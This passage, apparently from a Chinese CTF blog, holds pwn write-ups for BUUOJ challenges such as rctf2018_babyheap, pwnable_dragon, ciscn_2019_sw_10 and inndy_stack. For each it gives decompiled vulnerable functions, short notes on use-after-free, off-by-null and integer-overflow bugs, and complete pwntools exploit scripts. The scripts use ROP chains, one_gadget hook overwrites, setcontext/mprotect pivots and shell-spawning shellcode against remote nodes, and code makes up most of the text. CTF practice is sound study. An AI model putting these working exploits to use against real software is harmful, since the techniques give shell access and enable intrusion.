p1 += p64(puts_plt) + p64(main_addr)

r.sendlineafter('>> ', p1)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))
libc = ELF('./2.27/libc-2.27.so')

libc_base = puts_addr - libc.sym['puts']

pop_rsi_ret = 0x0000000000023e6a + libc_base
pop_rdx_ret = 0x0000000000001b96 + libc_base
pop_rax_ret = 0x00000000000439c8 + libc_base
gets = libc.sym['gets'] + libc_base

o = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
w = libc_base + libc.sym['write']

flag_addr = 0x6801C8 + 0x100
p2 = b'a' * 0x418 + b'\x28'
p2 += p64(pop_rdi_ret) + p64(flag_addr)
p2 += p64(gets)
p2 += p64(pop_rdi_ret) + p64(flag_addr)
p2 += p64(pop_rsi_ret) + p64(0)
p2 += p64(o)
p2 += p64(pop_rdi_ret) + p64(3)
p2 += p64(pop_rsi_ret) + p64(flag_addr)
p2 += p64(pop_rdx_ret) + p64(0x50)
p2 += p64(read)
p2 += p64(pop_rdi_ret) + p64(0)
p2 += p64(pop_rsi_ret) + p64(flag_addr)
p2 += p64(pop_rdx_ret) + p64(0x50)
p2 += p64(w)
r.sendline(p2)
r.sendline('./flag\x00')

r.interactive()

others_pwn1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
index = 0;
puts("Which book you want to delete?");
_isoc99_scanf("%d", &index);
if ( index < 0x10 )
{
if ( table[index] )
free(table[index]); // uaf
--book_count;
}
else
{
puts("Out of range!");
}
return __readfsqword(0x28u) ^ v2;
}

一个uaf,逆出结构体之后发现利用uaf,edit可以改desc的指针,相当于任意地址读和任意地址写,打hook为ogg即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn1'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28313)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '>> '

def add(name, desc, many):
r.sendlineafter(menu, '1')
r.sendafter("Please give me the book's name :", name)
r.sendafter("Please input the description about the book:", desc)
r.sendlineafter('How many book you want to take?', str(many))

def show():
r.sendlineafter(menu, '2')

def edit(index, name, many):
r.sendlineafter(menu, '3')
r.sendlineafter('Which book you want to edit?', str(index))
r.sendafter("Please give me the book's name :", name)
r.sendlineafter("Do you want to change the description?(y/n)", 'n')
r.sendlineafter('How many book you want to take?', str(many))

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Which book you want to delete?', str(index))

def edit2(index, name, desc, many):
r.sendlineafter(menu, '3')
r.sendlineafter('Which book you want to edit?', str(index))
r.sendafter("Please give me the book's name :", name)
r.sendlineafter("Do you want to change the description?(y/n)", 'y')
r.sendafter("Please input the description about the book:", desc)
r.sendlineafter('How many book you want to take?', str(many))

dbgg()
add('a' * 8, 'b' * 8, 1)
add('a' * 8, 'b' * 8, 1)

delete(0)

puts_got = elf.got['puts']
p1 = p64(0) * 9 + p64(puts_got)
edit(0, p1, 1)

show()
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
#one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[1] + libc_base

p2 = p64(0) * 9 + p64(free_hook)
edit2(0, p2, p64(one_gadget), 1)

delete(1)

r.interactive()

rctf2018_babyheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_DWORD *add()
{
int size; // eax
_DWORD *result; // rax
unsigned __int64 i; // [rsp+8h] [rbp-18h]
unsigned int len; // [rsp+10h] [rbp-10h]
void *ptr; // [rsp+18h] [rbp-8h]

if ( add_counts > 0x20u )
my_error("too many chunk");
printf("please input chunk size: ");
size = read_input();
len = size;
if ( size <= 0 || size > 0x100LL )
my_error("invalid size");
ptr = calloc(size, 1uLL);
if ( !ptr )
my_error("memory error");
printf("input chunk content: ");
sub_BC8((__int64)ptr, len); // vuln
for ( i = 0LL; i <= 0x1F && heap_ptr[i]; ++i )
;
if ( i == 32 )
my_error("too many chunk");
heap_ptr[i] = (__int64)ptr;
result = &add_counts;
++add_counts;
return result;
}

Off-by-null,但是这里用的calloc来申请的,calloc并不会拿tcache里面的东西,所以只能借助fastbin来进行overlapping操作

填满tcache即可进行正常的off-by-null堆重叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babyheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25983)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'choice: '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('please input chunk size: ', str(size))
r.sendlineafter('input chunk content: ', content)

def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('please input chunk index: ', str(index))

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('please input chunk index: ', str(index))

dbgg()

add(0xf8, 'a' * 8) #0
add(0x68, 'b' * 8) #1
add(0xf8, 'c' * 8) #2

for i in range(8):
add(0xf8, 'a' * 8) #3 - 10

for i in range(8):
add(0x68, 'a' * 8) #11-18

for i in range(3, 10):
delete(i) #3- 9

for i in range(11, 18):
delete(i) #11- 17

delete(0)
delete(1)

add(0x68, b'a' * 0x60 + p64(0x170)) #0
delete(2)

add(0xf8, 'a' * 8)

show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add(0x68, 'a' * 8)

delete(0)
delete(18)
delete(2)

add(0x68, p64(malloc_hook - 0x23))
add(0x68, 'a' * 8)
add(0x68, 'a' * 8)
add(0x68, b'\x00' * 0x13 + p64(one_gadget))

r.sendlineafter(menu, '1')
r.sendlineafter('please input chunk size: ', '20')

r.interactive()

arr_sun_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int sub_8048592()
{
int result; // eax
int index; // [esp+8h] [ebp-40h] BYREF
int v2; // [esp+Ch] [ebp-3Ch] BYREF
int j; // [esp+10h] [ebp-38h]
int i; // [esp+14h] [ebp-34h]
int v5[11]; // [esp+18h] [ebp-30h] BYREF

memset(v5, 0, 0x28u);
for ( i = 0; i <= 9; ++i )
{
puts("enter index");
fflush(stdout);
__isoc99_scanf("%d", &index);
puts("enter value");
fflush(stdout);
__isoc99_scanf("%d", &v2);
if ( index > 9 )
exit(0);
v5[index] = v2;
}
puts("behold, your creation!");
result = fflush(stdout);
for ( j = 0; j <= 9; ++j )
{
printf("%d ", v5[j]);
result = fflush(stdout);
}
return result;
}

只能通过负数来越界,注意的地方是这里,v5[index] = v2;,这里的index会*4

1
2
3
4
mov     eax, [ebp+index]
mov edx, [ebp+value]
mov [ebp+eax*4+var_30], edx
add [ebp+var_34], 1

是-2147483648的时候是-0x80000000,在__isoc99_scanf(“%d”, &index);这里得到的是低位的0,所以可以借助这个溢出来覆盖ret,直接构造rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './arr_sun_2016'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25088)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

r.sendlineafter('What should I call you? \n', 'a' * 8)

for i in range(2):
r.sendlineafter('enter index\n', '0')
r.sendlineafter('enter value\n', '0')

dbgg()

oob = -2147483648
#oob = 0x80000000
bd = 0x804857B
scanf_plt = 0x80485E3
r.sendlineafter('enter index\n', str(oob + 0xd))
r.sendlineafter('enter value\n', str(0x08048460))
r.sendlineafter('enter index\n', str(oob + 0xe))
r.sendlineafter('enter value\n', str(0x80487BA))
r.sendlineafter('enter index\n', str(oob + 0xf))
r.sendlineafter('enter value\n', str(0x0804882F))
r.sendlineafter('enter index\n', str(oob + 0x10))
r.sendlineafter('enter value\n', str(0x08049B30))
r.sendlineafter('enter index\n', str(oob + 0x11))
r.sendlineafter('enter value\n', str(0x0804857B))
r.sendlineafter('enter index\n', str(oob + 0x12))
r.sendlineafter('enter value\n', str(0))
r.sendlineafter('enter index\n', str(oob + 0x13))
r.sendlineafter('enter value\n', str(0x08049B30))

r.sendline('/bin/sh\x00')

r.interactive()

pwnable_dragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl PriestAttack(int a1, _DWORD *ptr)
{
int Choice; // eax

do
{
((void (__cdecl *)(_DWORD *))*ptr)(ptr);
(*(void (__cdecl **)(int))(a1 + 12))(a1);
Choice = GetChoice();
switch ( Choice )
{
case 2:
puts("Clarity! Your Mana Has Been Refreshed");
*(_DWORD *)(a1 + 8) = 50;
printf("But The Dragon Deals %d Damage To You!\n", ptr[3]);
*(_DWORD *)(a1 + 4) -= ptr[3];
printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
goto LABEL_11;
case 3:
if ( *(int *)(a1 + 8) > 24 )
{
puts("HolyShield! You Are Temporarily Invincible...");
printf("But The Dragon Heals %d HP!\n", *((char *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
*(_DWORD *)(a1 + 8) -= 25;
goto LABEL_11;
}
break;
case 1:
if ( *(int *)(a1 + 8) > 9 )
{
printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
*((_BYTE *)ptr + 8) -= 20;
*(_DWORD *)(a1 + 8) -= 10;
printf("But The Dragon Deals %d Damage To You!\n", ptr[3]);
*(_DWORD *)(a1 + 4) -= ptr[3];
printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
goto LABEL_11;
}
break;
default:
goto LABEL_11;
}
puts("Not Enough MP!");
LABEL_11:
if ( *(int *)(a1 + 4) <= 0 )
{
free(ptr);
return 0;
}
}
while ( *((char *)ptr + 8) > 0 );
free(ptr);
return 1;
}

dragon的血是byte类型,和char类型溢出一个道理,128就变成负的,while ( *((char *)ptr + 8) > 0 );当dragon的血小于0,则free(dragon),所以只需要想办法把dragon的血一直加,加到超过128就行了

一开始血太少了,所以会失败,第二次血会多一点,这样了hero的血完全可以支撑到dragon的血加超过128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void __cdecl FightDragon(int a1)
{
char v1; // al
int v2; // [esp+10h] [ebp-18h]
_DWORD *ptr; // [esp+14h] [ebp-14h]
_DWORD *v4; // [esp+18h] [ebp-10h]
void *v5; // [esp+1Ch] [ebp-Ch]

ptr = malloc(0x10u);
v4 = malloc(0x10u);
v1 = Count++;
if ( (v1 & 1) != 0 ) // even
{
v4[1] = 1;
*((_BYTE *)v4 + 8) = 80;
*((_BYTE *)v4 + 9) = 4;
v4[3] = 10;
*v4 = PrintMonsterInfo;
puts("Mama Dragon Has Appeared!");
}
else
{
v4[1] = 0;
*((_BYTE *)v4 + 8) = 50;
*((_BYTE *)v4 + 9) = 5;
v4[3] = 30;
*v4 = PrintMonsterInfo;
puts("Baby Dragon Has Appeared!");
}
if ( a1 == 1 )
{
*ptr = 1;
ptr[1] = 42;
ptr[2] = 50;
ptr[3] = PrintPlayerInfo;
v2 = PriestAttack((int)ptr, v4);
}
else
{
if ( a1 != 2 )
return;
*ptr = 2;
ptr[1] = 50;
ptr[2] = 0;
ptr[3] = PrintPlayerInfo;
v2 = KnightAttack((int)ptr, v4);
}
if ( v2 )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
v5 = malloc(0x10u);
__isoc99_scanf("%16s", v5);
puts("And The Dragon You Have Defeated Was Called:");
((void (__cdecl *)(_DWORD *))*v4)(v4);
}
else
{
puts("\nYou Have Been Defeated!");
}
free(ptr);
}

上面的dragon的大小是0x10,free之后再次 v5 = malloc(0x10u);,所以就有了一个uaf,此时再输入v5,然后执行,就相当于是任意地址执行,程序里有一个system('/bin/sh'),任意地址执行这个即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './dragon'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25718)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

r.sendline('1')
r.sendline('1')
r.sendline('1')

r.sendline('1')
for i in range(4):
r.sendline('3')
r.sendline('3')
r.sendline('2')

r.sendline(p32(0x8048DBF))

r.interactive()

jarvisoj_calc.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( !strcmp(s1, "var") )
{
v21 = strtok(0, " ");
v22 = strtok(0, " ");
if ( !v22 )
break;
if ( *v22 == '=' )
{
nptr = strtok(0, " ");
if ( !nptr )
{
puts("invalid syntax");
break;
}
if ( *nptr == '"' )
{
nptra = nptr + 1;
v25 = strchr(nptra, '"');
if ( v25 )
{
*v25 = 0;
v2 = sub_804A63E(v21, nptra);
sub_804A820((void **)dword_804D0B0, v21, (int)v2);
}
}

代码量大,要做长时间的逆向工作,漏洞点出在这里一块,var a = 1, 这是正常的,但是也可以var add = "1"这样,add是一个指针函数,这样子就成功把add的指针内容被赋值成了1,如果调用add这里的指针函数那么就可以成功的任意执行,可以把内容改成shellcode,然后调用即可getshell。

当遇见+的时候就会调用add这里的指针函数,从而成功调用shellcode,同理其他的sub mul这些都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './calc.exe'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27996)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '> '

dbgg()

p1 = b'var sub = "' + asm(shellcraft.sh()) + b'"'
print(p1)
r.sendlineafter('> ', p1)
r.sendline('-')


r.interactive()

ciscn_2019_sw_10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("index ?");
_isoc99_scanf("%d", &index);
if ( index <= 0x1F && heap_ptr[index] )
free(heap_ptr[index]); // uaf
else
puts("invalid index");
return __readfsqword(0x28u) ^ v2;
}

2.27的uaf漏洞,禁用了execve,但是还可以用execveat,read -r line < /flag;echo $line然后用这个来读flag就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_2019_sw_10'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27291)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

r.sendlineafter('what is your name?', 'z1r0')

menu = '>> '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size?\n', str(size))
r.sendafter('content?\n', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('index ?\n', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('index ?\n', str(index))

add(0x500, 'a' * 8)
add(0x10, 'a' * 8)

delete(0)

show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

setcontext_addr = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + libc.search(asm("syscall\nret")).__next__()

p1 = b''
p1 = p1.ljust(0x68, b'\x00') + p64(0)
p1 = p1.ljust(0x70, b'\x00') + p64(free_hook&0xfffffffffffff000)
p1 = p1.ljust(0x88, b'\x00') + p64(0x20000)
p1 = p1.ljust(0xa0, b'\x00') + p64(free_hook&0xfffffffffffff000)
p1 = p1.ljust(0xa8, b'\x00') + p64(syscall)

dbgg()
add(0x500, p1) #2

delete(1)
delete(1)

add(0x10, p64(free_hook)) #3
add(0x10, 'a' * 8) #4
add(0x10, p64(setcontext_addr))

delete(2)

shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

layout = [
libc_base+libc.search(asm("pop rdi\nret")).__next__(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).__next__(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).__next__(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).__next__(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).__next__(), #: jmp rsp;
]

r.sendline(flat(layout) + shellcode)

r.interactive()

ciscn_2019_final_10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 sub_CCF()
{
unsigned int v1; // [rsp+4h] [rbp-3Ch] BYREF
FILE *stream; // [rsp+8h] [rbp-38h]
char ptr[16]; // [rsp+10h] [rbp-30h] BYREF
char buf[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
stream = fopen("/dev/urandom", "rb");
fread(ptr, 0xCuLL, 1uLL, stream);
fclose(stream);
read(0, buf, 0x10uLL);
if ( !strncmp(buf, ptr, 0xCuLL) )
{
puts("Welcome, MIB Agent.");
return 0LL;
}
else
{
printf("> ");
__isoc99_scanf("%d", &v1);
if ( (int)v1 > 255 || !v1 )
{
puts("Access denied.");
exit(0);
}
return v1;
}
}

第一个输入肯定是错的,进到第二个else这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
oid __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+8h] [rbp-18h] BYREF
unsigned int v4; // [rsp+Ch] [rbp-14h]
char *s1; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
sub_C0A();
sub_C57();
v4 = sub_CCF();
if ( (unsigned int)check_v1(v4) == 1 )
{
puts("Access granted!");
s1 = (char *)malloc(0x30uLL);
strcpy(s1, "The cake is not a lie!");
}
else if ( !(unsigned int)check_v1(v4) )
{
printf("Access denied.");
exit(0);
}

通过后面的逻辑可以知道需要过check_v1(v4)为1,但是第一个那里v1不能为0,但是(int)v1 > 255把v1转换成了有符号,所以可以输入负数

1
test    ax, ax

然后在check_v1这个函数里是ax,所以输入-0x10000,这样子的话就可以成功check_v1(v4) == 1

1
2
3
4
5
6
7
8
9
__int64 sub_EA0()
{
if ( dword_202010 <= 0 )
exit(0);
if ( !ptr )
exit(0);
free(ptr); // uaf
return (unsigned int)--dword_202010;
}

漏洞点两次uaf,利用double free打The cake is not a lie!The cake is a lie!,最后用\x00来绕过算法执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_final_10'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25754)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '> '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter(menu, str(size))
r.sendafter(menu, content)

def delete():
r.sendlineafter(menu, '2')

dbgg()
r.sendlineafter(menu, '1234')

r.sendlineafter(menu, str(-0x10000))

add(0x20, 'a' * 8)

delete()
delete()

add(0x20, '\x90')

add(0x20, 'a' * 8)
add(0x20, 'The cake is a lie!\x00')

r.sendlineafter(menu, '3')

shellcode = asm(shellcraft.sh())

r.sendlineafter(menu, b'\x00\x0c' + shellcode)

r.interactive()

inndy_stack

1
2
3
4
5
int __cdecl stack_pop(_DWORD *stack)
{
--*stack;
return stack[*stack + 1];
}

pop的时候可以负溢

泄露出libc之后clear,然后再利用pop负溢,打push的返回地址为ogg,需要注意整数表现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './stack'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29863)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Cmd >>\n'

def push(value):
r.sendlineafter(menu, 'i ' + str(value))

def pop():
r.sendlineafter(menu, b'p')

dbgg()

for i in range(15):
pop()

r.recvuntil('Pop -> ')
_IO_2_1_stdout_addr = int(r.recv(10), 10) + 0x100000000
li('_IO_2_1_stdout_addr = ' + hex(_IO_2_1_stdout_addr))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = _IO_2_1_stdout_addr - libc.sym['_IO_2_1_stdout_']
li('libc_base = ' + hex(libc_base))
#one = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
one = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
one_gadget = one[1] + libc_base
li('one_gadget = ' + hex(one_gadget))
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

r.sendlineafter(menu, 'c')

for i in range(8):
pop()

one_gadget = 0x100000000 - one_gadget
push(-one_gadget)
#push(0x12345678)

r.interactive()

picoctf_2018_gps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *position; // rax
void (*v5)(void); // [rsp+8h] [rbp-1018h] BYREF
char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1018h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
srand((unsigned int)seed);
initialize();
acquire_satellites();
position = query_position();
printf("We need to access flag.txt.\nCurrent position: %p\n", position);
printf("What's your plan?\n> ");
fgets(seed, 0x1000, stdin);
printf("Where do we start?\n> ");
__isoc99_scanf("%p", &v5);
v5();
return 0;
}

会去执行一个地址,然后会泄露出stack上的地址,栈上有rwx,所以直接ret2shellcode,nop滑行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './PicoCTF_2018_gps'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29827)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()
r.recvuntil('0x')
leak_addr = int(r.recv(12), 16) + 0x200
li('leak_addr = ' + hex(leak_addr))


p1 = b'\x90' * 0x950 + asm(shellcraft.sh())
r.sendlineafter('> ', p1)

r.sendlineafter('> ', hex(leak_addr))

r.interactive()

pwnable_applestore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char v2[4]; // [esp+18h] [ebp-20h] BYREF
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v3 = 1;
insert((int)v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

这里的v2是栈上的地址,在ebp-0x20这里,但是这些功能函数都在handler函数中,可以通过其他的函数内部在ebp-0x20左右的变量去更改它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
int v0; // eax
int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
int i; // [esp+20h] [ebp-28h]
char v5[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(v5, 21);
if ( v5[0] == 121 )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
}
return v3;
}

cart这里的v5就可以更改上面的v2,所以可以泄露出libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
int v1; // [esp+10h] [ebp-38h]
int v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char v6[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]

